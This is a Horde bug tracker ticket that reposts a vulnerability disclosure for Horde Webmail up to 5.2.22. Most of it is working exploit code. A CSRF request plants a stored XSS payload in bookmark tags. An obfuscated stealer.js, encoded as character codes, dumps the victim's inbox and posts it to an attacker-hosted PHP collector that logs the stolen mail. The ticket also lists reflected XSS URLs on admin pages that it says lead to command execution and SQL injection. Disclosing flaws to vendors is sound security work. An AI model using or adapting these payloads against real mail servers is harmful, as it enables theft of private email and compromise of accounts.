[Tickets #14926] Horde Webmail - XSS + CSRF to SQLi, RCE, Stealing Emails <= v5.2.22

Fri May 17 19:57:53 UTC 2019

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Ticket URL: https://bugs.horde.org/ticket/14926
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  Ticket             | 14926
  Created By         | root at numanozdemir.com
  Summary            | Horde Webmail - XSS + CSRF to SQLi, RCE, Stealing
                     | Emails <= v5.2.22
  Queue              | Horde Groupware
  Version            | 5.2.22
  Type               | Bug
  State              | Unconfirmed
  Priority           | 3. High
  Milestone          |
  Patch              |
  Owners             |
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root at numanozdemir.com (2019-05-17 19:57) wrote:

# Title: Horde Webmail - XSS + CSRF to SQLi, RCE, Stealing Emails <= v5.2.22
# Date: 14.04.2019
# Author: InfinitumIT
# Vendor Homepage: https://www.horde.org/
# Version: Up to v5.2.22.
# info at infinitumit.com.tr && infinitumit.com.tr
# PoC: https://numanozdemir.com/respdisc/horde/horde.mp4

# Description:
# Attacker can combine "CSRF vulnerability in Trean Bookmarks  
(defaultly installed on Horde Groupware)" and
# "Stored XSS vulnerability in Horde TagCloud (defaultly installed)"  
vulnerabilities to steal victim's emails.

# Also:
# Attacker can use 3 different reflected XSS vulnerability to exploit  
Remote Command Execution, SQL Injection and Code Execution.
# To steal e-mails, attacker will send an e-mail to victim and victim  
will click the attacker's website. So, victim's inbox will be dumped  
in attacker's FTP.
# All of them vulnerabillities are valid for all Horde Webmail versions.

# Attacker will exploit the CSRF and XSS with: index.html
# Attacker will steal and post the emails with: stealer.js
# Attacker will save the emails with: stealer.php

# index.html Codes:
<script>
var url = "http://webmail.victimserver.com/trean/";
var params =  
'iframe=0&popup=0&newFolder=&actionID=add_bookmark&url=http%3A%2F%2Ftest.com&title=vulnerability&description=vulnerability&treanBookmarkTags=%22%3E%3Cscript%2Fsrc%3D%22http%3A%2F%2Fyourwebsite.com%2Fhorde%2Fstealer.js%22%3E%3C%2Fscript%3E';
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
vuln.send(params);
</script>
<embed/src="http://webmail.victimserver.com/services/portal/"/height="1"/width="1">

# stealer.js Codes:
eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,115,99,114,105,112,116,32,115,114,99,61,39,104,116,116,112,58,47,47,99,111,100,101,46,106,113,117,101,114,121,46,99,111,109,47,106,113,117,101,114,121,45,51,46,51,46,49,46,109,105,110,46,106,115,39,62,60,47,115,99,114,105,112,116,62,60,115,99,114,105,112,116,62,102,117,110,99,116,105,111,110,32,115,116,101,97,108,40,115,116,97,114,116,44,32,101,110,100,41,123,118,97,114,32,115,116,97,114,116,59,118,97,114,32,101,110,100,59,118,97,114,32,105,59,102,111,114,40,105,61,115,116,97,114,116,59,32,105,60,61,101,110,100,59,32,105,43,43,41,123,36,46,103,101,116,40,39,104,116,116,112,58,47,47,119,101,98,109,97,105,108,46,118,105,99,116,105,109,115,101,114,118,101,114,46,99,111,109,47,105,109,112,47,118,105,101,119,46,112,104,112,63,97,99,116,105,111,110,73,68,61,118,105,101,119,95,115,111,117,114,99,101,38,105,100,61,48,38,109,117,105,100,61,123,53,125,73,78,66,79,88,39,43,105,44,32,102,117,110,99,116,105,11
1,110,40,100,97,116,97,41,123,118,97,114,32,120,109,108,72,116,116,112,32,61,32,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,120,109,108,72,116,116,112,46,111,112,101,110,40,39,80,79,83,84,39,44,32,39,104,116,116,112,58,47,47,121,111,117,114,119,101,98,115,105,116,101,46,99,111,109,47,104,111,114,100,101,47,115,116,101,97,108,101,114,46,112,104,112,39,44,32,116,114,117,101,41,59,120,109,108,72,116,116,112,46,115,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,39,67,111,110,116,101,110,116,45,84,121,112,101,39,44,32,39,97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100,39,41,59,120,109,108,72,116,116,112,46,115,101,110,100,40,39,105,110,98,111,120,61,39,43,100,97,116,97,41,59,125,41,59,125,114,101,116,117,114,110,32,105,59,125,115,116,101,97,108,40,56,44,49,53,41,59,60,47,115,99,114,105,112,116,62,34,41,59,10,47,47,32,115,116,101,97,108,40,120,44,121,41,32,61,32,115,116,1
01,97,108,32,102,114,111,109,32,105,100,32,120,32,116,111,32,105,100,32,121))
// It is charcoded, firstly decode and edit for yourself then encode  
again. Also dont forget to remove spaces!

# stealer.php Codes:
<?php

header('Access-Control-Allow-Origin: *');

header('Access-Control-Allow-Headers: *');

if($_POST['inbox']){

$logs = fopen("inbox.txt", "a+");

$data = $_POST['inbox']."  
-----------------------------------------------------------------  
".chr(13).chr(10).chr(13).chr(10);
fwrite($logs, $data);

}

?>

#  
_____________________________________________________________________________________________________

# Reflected XSS to Remote Command Execution, Remote Code Execution and  
SQL Injection

http://webmail.victimserver.com/groupware/admin/user.php?user_name=XSS-PAYLOAD-HERE&form=update_f
http://webmailvictimserver.com/groupware/admin/user.php?user_name=XSS-PAYLOAD-HERE&form=remove_f
http://webmail.victimserver.com/groupware/admin/config/diff.php?app=XSS-PAYLOAD-HERE

# Attacker can execute commands & PHP codes remotely and inject  
harmful SQL queries. Also, attacker can create users too with those  
reflected XSS vulnerabilities.

# Stay Secure with InfinitumIT - infinitumit.com.tr